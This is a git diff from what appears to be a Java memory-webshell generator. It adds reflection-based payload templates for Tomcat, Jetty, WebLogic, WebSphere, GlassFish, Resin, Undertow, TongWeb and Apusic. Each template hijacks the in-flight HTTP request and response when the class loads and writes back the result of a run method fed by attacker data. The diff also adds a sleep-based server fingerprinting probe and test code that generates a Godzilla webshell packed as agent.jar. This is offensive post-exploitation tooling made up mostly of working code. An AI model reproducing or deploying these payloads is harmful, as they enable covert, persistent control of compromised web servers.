com.apusic.invocation.InvocationContext + if (value != null && value.getClass().getName().contains("InvocationContext")) { + Object servletInvocation = getFieldValue(value, "top"); + Object request = getFieldValue(servletInvocation, "request"); + Object response = getFieldValue(servletInvocation, "response"); + String data = getDataFromReq(request); + if (data != null && !data.isEmpty()) { + PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null); + try { + writer.write(run(data)); + } catch (Throwable e) { + e.printStackTrace(); + e.printStackTrace(writer); + } + writer.flush(); + writer.close(); + return; + } + } + } + } catch (Throwable e) { + e.printStackTrace(); + } + } + + private String getDataFromReq(Object request) throws Exception { + return null; + } + + private String run(String data) throws Exception { + return null; + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(obj.getClass() + " Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/GlassFishWriter.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/GlassFishWriter.java new file mode 100644 index 00000000..d77ce7ed --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/GlassFishWriter.java @@ -0,0 +1,119 @@ +package com.reajason.javaweb.probe.payload.response; + +import java.io.PrintWriter; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.Set; + +/** + * @author ReaJason + * @since 2025/8/9 + */ +public class GlassFishWriter { + + static { + new GlassFishWriter(); + } + + public GlassFishWriter() { + try { + try { + // GlassFish3 + Thread thread = Thread.currentThread(); + Object request = invokeMethod(getFieldValue(getFieldValue(thread, "processorTask"), "request"), "getNote", new Class[]{Integer.TYPE}, new Object[]{1}); + Object response = invokeMethod(request, "getResponse", null, null); + String data = getDataFromReq(request); + if (data != null && !data.isEmpty()) { + execute(response, data); + } + } catch (Exception x) { + // GlassFish4+ + Set threads = Thread.getAllStackTraces().keySet(); + for (Thread thread : threads) { + Object blocker = getFieldValue(thread, "blocker"); + if (blocker == null || !blocker.getClass().getName().contains("Selector")) { + continue; + } + Set keys = (Set) getFieldValue(getFieldValue(blocker, "this$0"), "keys"); + for (Object key : keys) { + Object connection = getFieldValue(key, "attachment"); + if (!connection.getClass().getName().contains("Connection")) { + continue; + } + Object attributes = getFieldValue(connection, "attributes"); + Object coyoteRequest = invokeMethod(attributes, "getAttribute", new Class[]{String.class}, new Object[]{"HttpServerFilter.Request"}); + if (coyoteRequest == null) { + continue; + } + Object notesHolder = getFieldValue(getFieldValue(coyoteRequest, "request"), "notesHolder"); + Object request = invokeMethod(notesHolder, "getAttribute", new Class[]{String.class}, new Object[]{"org.apache.catalina.connector.Request"}); + Object response = invokeMethod(request, "getResponse", null, null); + String data = getDataFromReq(request); + if (data != null && !data.isEmpty()) { + execute(response, data); + return; + } + } + } + } + } catch (Throwable e) { + e.printStackTrace(); + } + } + + private void execute(Object response, String data) throws Exception { + PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null); + try { + writer.write(run(data)); + } catch (Throwable e) { + e.printStackTrace(writer); + } + writer.flush(); + writer.close(); + } + + private String getDataFromReq(Object request) throws Exception { + return null; + } + + private String run(String data) throws Exception { + return null; + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(obj.getClass() + " Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/JettyWriter.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/JettyWriter.java new file mode 100644 index 00000000..dce05716 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/JettyWriter.java @@ -0,0 +1,111 @@ +package com.reajason.javaweb.probe.payload.response; + +import java.io.PrintWriter; +import java.lang.reflect.Array; +import java.lang.reflect.Field; +import java.lang.reflect.Method; + +/** + * @author ReaJason + * @since 2025/8/5 + */ +public class JettyWriter { + + static { + new JettyWriter(); + } + + public JettyWriter() { + try { + Thread thread = Thread.currentThread(); + System.out.println(thread); + Object threadLocals = getFieldValue(thread, "threadLocals"); + Object table = getFieldValue(threadLocals, "table"); + for (int i = 0; i < Array.getLength(table); i++) { + Object entry = Array.get(table, i); + if (entry == null) { + continue; + } + Object value = getFieldValue(entry, "value"); + if (value != null && value.getClass().getName().endsWith("HttpConnection")) { + Object response; + Object request; + try { + Object httpChannel = invokeMethod(value, "getHttpChannel", null, null); + response = invokeMethod(httpChannel, "getResponse", null, null); + request = invokeMethod(httpChannel, "getRequest", null, null); + } catch (Exception e) { + response = invokeMethod(value, "getResponse", null, null); + request = invokeMethod(value, "getRequest", null, null); + } + if (request == null) { + continue; + } + // 在 Jetty12 ee8 ~ ee10 环境下 + // request 对象为 org.eclipse.jetty.server.internal.HttpChannelState$ChannelRequest + // 非 ServletRequest 实现,考虑到场景可能比较少,适配代码较多,因此下面暂未适配 + String data = getDataFromReq(request); + if (data != null && !data.isEmpty()) { + PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null); + try { + writer.write(run(data)); + } catch (Throwable e) { + e.printStackTrace(); + e.printStackTrace(writer); + } + writer.flush(); + writer.close(); + return; + } + } + } + } catch (Throwable e) { + e.printStackTrace(); + } + } + + private String getDataFromReq(Object request) throws Throwable { + return null; + } + + private String run(String data) throws Throwable { + return null; + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(obj.getClass() + " Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/ResinWriter.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/ResinWriter.java new file mode 100644 index 00000000..ef64f797 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/ResinWriter.java @@ -0,0 +1,83 @@ +package com.reajason.javaweb.probe.payload.response; + +import java.io.PrintWriter; +import java.lang.reflect.Field; +import java.lang.reflect.Method; + +/** + * @author ReaJason + * @since 2025/8/8 + */ +public class ResinWriter { + static { + new ResinWriter(); + } + + public ResinWriter() { + try { + ClassLoader loader = Thread.currentThread().getContextClassLoader(); + Class invocationClazz = loader.loadClass("com.caucho.server.dispatch.ServletInvocation"); + Object request = invokeMethod(invocationClazz, "getContextRequest", null, null); + Object response = getFieldValue(request, "_response"); + String data = getDataFromReq(request); + PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null); + try { + writer.write(run(data)); + } catch (Throwable e) { + e.printStackTrace(writer); + } + writer.flush(); + writer.close(); + // com.caucho.server.connection.AbstractHttpResponse.close + // 不关闭 response 的话会遇到重复写响应体的情况 + invokeMethod(response, "close", null, null); + } catch (Throwable e) { + e.printStackTrace(); + } + } + + private String getDataFromReq(Object request) throws Exception { + return null; + } + + private String run(String data) throws Exception { + return null; + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(obj.getClass() + " Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/TomcatWriter.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/TomcatWriter.java new file mode 100644 index 00000000..f65120d2 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/TomcatWriter.java @@ -0,0 +1,130 @@ +package com.reajason.javaweb.probe.payload.response; + +import java.io.PrintWriter; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.List; +import java.util.Set; + +public class TomcatWriter { + + static { + new TomcatWriter(); + } + + public TomcatWriter() { + try { + Set threads = Thread.getAllStackTraces().keySet(); + for (Thread thread : threads) { + Object target = null; + try { + target = getFieldValue(thread, "target"); + } catch (NoSuchFieldException e) { + // JDK 21 + target = getFieldValue(getFieldValue(thread, "holder"), "task"); + } + if (target == null) { + continue; + } + Object requestGroupInfo = null; + // Tomcat6 http-8080-Acceptor-0 <-> org.apache.tomcat.util.net.JIoEndpoint$Acceptor + // Tomcat7 http-apr-8080-Poller <-> org.apache.tomcat.util.net.AprEndpoint$Poller + // Tomcat8 http-nio-8080-Poller <-> org.apache.tomcat.util.net.NioEndpoint$Poller + // Tomcat9 http-nio-8080-ClientPoller-0 <-> org.apache.tomcat.util.net.NioEndpoint$Poller + // Tomcat10 http-nio-8080-Poller <-> org.apache.tomcat.util.net.NioEndpoint$Poller + // Tomcat11 http-nio-8080-Poller <-> org.apache.tomcat.util.net.NioEndpoint$Poller + String threadName = thread.getName(); + if ((threadName.contains("Poller") || threadName.contains("Acceptor")) + && !threadName.contains("ajp") + ) { + try { + requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(target, "this$0"), "handler"), "global"); + } catch (NoSuchFieldException ignored) { + continue; + } + } else if (target.getClass().getName().contains("ThreadPool$ControlRunnable")) { + // Tomcat5 http-8080-Processor23 <-> org.apache.tomcat.util.threads.ThreadPool$ControlRunnable + try { + Object toRun = getFieldValue(target, "toRun"); + if (toRun != null) { + requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(toRun, "endpoint"), "handler"), "global"); + } + } catch (NoSuchFieldException e) { + continue; + } + } + if (requestGroupInfo == null) { + continue; + } + List processors = (List) getFieldValue(requestGroupInfo, "processors"); + for (Object processor : processors) { + // org.apache.coyote.Request + Object coyoteRequest = getFieldValue(processor, "req"); + // org.apache.catalina.connector.Request + Object request = invokeMethod(coyoteRequest, "getNote", new Class[]{Integer.TYPE}, new Object[]{1}); + // org.apache.catalina.connector.Response + Object response = invokeMethod(request, "getResponse", null, null); + String data = getDataFromReq(request); + if (data != null && !data.isEmpty()) { + PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null); + try { + writer.write(run(data)); + } catch (Throwable e) { + e.printStackTrace(writer); + } + writer.flush(); + writer.close(); + return; + } + } + } + } catch (Throwable e) { + e.printStackTrace(); + } + } + + private String getDataFromReq(Object request) throws Exception { + return null; + } + + private String run(String data) throws Exception { + return null; + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(obj.getClass() + " Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/TongWebWriter.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/TongWebWriter.java new file mode 100644 index 00000000..60763b5d --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/TongWebWriter.java @@ -0,0 +1,123 @@ +package com.reajason.javaweb.probe.payload.response; + +import java.io.PrintWriter; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.List; +import java.util.Set; + +public class TongWebWriter { + + static { + new TongWebWriter(); + } + + public TongWebWriter() { + try { + Set threads = Thread.getAllStackTraces().keySet(); + for (Thread thread : threads) { + Object poller = getFieldValue(thread, "target"); + if (poller == null) { + continue; + } + String threadName = thread.getName(); + if (threadName.contains("Poller") // TongWeb6 + || threadName.contains("Acceptor") // TongWeb7 + ) { + try { + Object requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(poller, "this$0"), "handler"), "global"); + List processors = (List) getFieldValue(requestGroupInfo, "processors"); + for (Object processor : processors) { + Object coyoteRequest = getFieldValue(processor, "req"); + if (tryWriteRes(coyoteRequest)) { + return; + } + } + } catch (Exception x) { + // TongWeb 8 + if (threadName.contains("Poller")) { + Set keys = (Set) getFieldValue(getFieldValue(poller, "selector"), "keys"); + if (keys == null) { + continue; + } + for (Object key : keys) { + try { + Object coyoteRequest = getFieldValue(getFieldValue(getFieldValue(key, "attachment"), "currentProcessor"), "request"); + if (tryWriteRes(coyoteRequest)) { + return; + } + } catch (Exception ignored) { + } + } + } + } + } + } + } catch (Throwable e) { + e.printStackTrace(); + } + } + + private boolean tryWriteRes(Object coyoteRequest) throws Exception { + Object request = invokeMethod(coyoteRequest, "getNote", new Class[]{Integer.TYPE}, new Object[]{1}); + Object response = invokeMethod(request, "getResponse", null, null); + String data = getDataFromReq(request); + if (data != null && !data.isEmpty()) { + PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null); + try { + writer.write(run(data)); + } catch (Throwable e) { + e.printStackTrace(writer); + } + writer.flush(); + writer.close(); + return true; + } + return false; + } + + private String getDataFromReq(Object request) throws Exception { + return null; + } + + private String run(String data) throws Exception { + return null; + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(obj.getClass() + " Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/UndertowWriter.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/UndertowWriter.java new file mode 100644 index 00000000..0bf138a5 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/UndertowWriter.java @@ -0,0 +1,93 @@ +package com.reajason.javaweb.probe.payload.response; + +import java.io.PrintWriter; +import java.lang.reflect.Array; +import java.lang.reflect.Field; +import java.lang.reflect.Method; + +/** + * @author ReaJason + * @since 2025/8/8 + */ +public class UndertowWriter { + + static { + new UndertowWriter(); + } + + public UndertowWriter() { + try { + Thread thread = Thread.currentThread(); + Object threadLocals = getFieldValue(thread, "threadLocals"); + Object table = getFieldValue(threadLocals, "table"); + for (int i = 0; i < Array.getLength(table); i++) { + Object entry = Array.get(table, i); + if (entry == null) { + continue; + } + Object value = getFieldValue(entry, "value"); + if (value != null && value.getClass().getName().contains("ServletRequestContext")) { + Object request = getFieldValue(value, "servletRequest"); + Object response = getFieldValue(value, "servletResponse"); + String data = getDataFromReq(request); + PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null); + try { + writer.write(run(data)); + } catch (Throwable e) { + e.printStackTrace(writer); + } + writer.flush(); + writer.close(); + return; + } + } + } catch (Throwable e) { + e.printStackTrace(); + } + } + + private String getDataFromReq(Object request) throws Exception { + return null; + } + + private String run(String data) throws Exception { + return null; + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(obj.getClass() + " Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/WebLogicWriter.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/WebLogicWriter.java new file mode 100644 index 00000000..5d0b258f --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/WebLogicWriter.java @@ -0,0 +1,100 @@ +package com.reajason.javaweb.probe.payload.response; + +import java.io.PrintWriter; +import java.lang.reflect.Field; +import java.lang.reflect.Method; + +/** + * @author ReaJason + * @since 2025/8/10 + */ +public class WebLogicWriter { + static { + new WebLogicWriter(); + } + + public WebLogicWriter() { + try { + Object workEntry = getFieldValue(Thread.currentThread(), "workEntry"); + Object request = null; + Object response = null; + try { + // weblogic.servlet.internal.HttpConnectionHandler + Object connectionHandler = getFieldValue(workEntry, "connectionHandler"); + // weblogic.servlet.internal.ServletRequestImpl + request = getFieldValue(connectionHandler, "request"); + // weblogic.servlet.internal.ServletResponseImpl + response = getFieldValue(connectionHandler, "response"); + } catch (Exception x) { + // WebLogic 10.3.6 + // weblogic.servlet.internal.ServletRequestImpl + request = workEntry; + response = invokeMethod(workEntry, "getResponse", null, null); + } + if (request == null) { + return; + } + String data = getDataFromReq(request); + if (data != null && !data.isEmpty()) { + PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null); + try { + writer.write(run(data)); + } catch (Throwable e) { + e.printStackTrace(writer); + } + writer.flush(); + writer.close(); + // 防止重复写响应,提前触发 send 操作 + invokeMethod(response, "send", null, null); + } + } catch (Throwable e) { + e.printStackTrace(); + } + } + + + private String getDataFromReq(Object request) throws Exception { + return null; + } + + private String run(String data) throws Exception { + return null; + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(obj.getClass() + " Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/WebSphereWriter.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/WebSphereWriter.java new file mode 100644 index 00000000..79e02010 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/WebSphereWriter.java @@ -0,0 +1,95 @@ +package com.reajason.javaweb.probe.payload.response; + +import java.io.PrintWriter; +import java.lang.reflect.Field; +import java.lang.reflect.Method; + +/** + * WAS7 暂未适配 + * + * @author ReaJason + * @since 2025/8/10 + */ +public class WebSphereWriter { + static { + new WebSphereWriter(); + } + + public WebSphereWriter() { + try { + Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals"); + for (Object wsThreadLocal : wsThreadLocals) { + if (wsThreadLocal == null) { + continue; + } + // com.ibm.wsspi.webcontainer.WebContainerRequestState + if (wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) { + // com.ibm.ws.webcontainer.srt.SRTServletRequest + Object request = getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"); + // com.ibm.ws.webcontainer.srt.SRTServletResponse + Object response = getFieldValue(wsThreadLocal, "currentThreadsIExtendedResponse"); + String data = getDataFromReq(request); + if (data != null && !data.isEmpty()) { + PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null); + try { + writer.write(run(data)); + } catch (Throwable e) { + e.printStackTrace(writer); + } + writer.flush(); + writer.close(); + return; + } + break; + } + } + } catch (Throwable e) { + e.printStackTrace(); + } + } + + private String getDataFromReq(Object request) throws Exception { + return null; + } + + private String run(String data) throws Exception { + return null; + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(obj.getClass() + " Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/sleep/SleepServer.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/sleep/SleepServer.java new file mode 100644 index 00000000..72157267 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/sleep/SleepServer.java @@ -0,0 +1,24 @@ +package com.reajason.javaweb.probe.payload.sleep; + +/** + * @author ReaJason + * @since 2025/7/31 + */ +public class SleepServer { + + private static String server; + private static int seconds; + + public SleepServer() { + try { + if (server.equals(getServer())) { + Thread.sleep(1000L * seconds); + } + } catch (Throwable ignored) { + } + } + + private String getServer() { + return null; + } +} diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/GeneratorMainTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/GeneratorMainTest.java index c057199b..713b1a24 100644 --- a/generator/src/test/java/com/reajason/javaweb/memshell/GeneratorMainTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/GeneratorMainTest.java @@ -1,6 +1,8 @@ package com.reajason.javaweb.memshell; import com.reajason.javaweb.memshell.config.*; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.packer.jar.JarPacker; import lombok.SneakyThrows; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.Disabled; @@ -8,7 +10,6 @@ import org.junit.jupiter.api.Test; import java.nio.file.Files; import java.nio.file.Paths; -import java.nio.file.StandardOpenOption; /** * @author ReaJason @@ -21,9 +22,9 @@ class GeneratorMainTest { @Disabled void test() { ShellConfig shellConfig = ShellConfig.builder() - .server(Server.Tomcat) - .shellTool(ShellTool.Command) - .shellType(ShellType.PROXY_VALVE) + .server(Server.SpringWebMvc) + .shellTool(ShellTool.Godzilla) + .shellType(ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET) .targetJreVersion(Opcodes.V1_8) .debug(true) // .shrink(true) @@ -49,11 +50,14 @@ class GeneratorMainTest { InjectorConfig injectorConfig = new InjectorConfig(); - GenerateResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, commandConfig); + MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig); if (generateResult != null) { - System.out.println(generateResult.getShellBytes().length); - Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW); - Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW); + Packers.GzipBase64.getInstance().pack(generateResult.toClassPackerConfig()); + + Files.write(Paths.get("agent.jar"), ((JarPacker) Packers.AgentJar.getInstance()).packBytes(generateResult.toJarPackerConfig())); +// System.out.println(generateResult.getShellBytes().length); +// Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW); +// Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW); } } } \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/packer/BCELPackerTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/packer/BCELPackerTest.java index 217d1996..5d2dc588 100644 --- a/generator/src/test/java/com/reajason/javaweb/memshell/packer/BCELPackerTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/packer/BCELPackerTest.java @@ -1,6 +1,6 @@ package com.reajason.javaweb.memshell.packer; -import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.memshell.MemShellResult; import com.reajason.javaweb.packer.BCELPacker; import org.junit.jupiter.api.Test; @@ -18,7 +18,7 @@ class BCELPackerTest { @Test void test() { byte[] bytes1 = 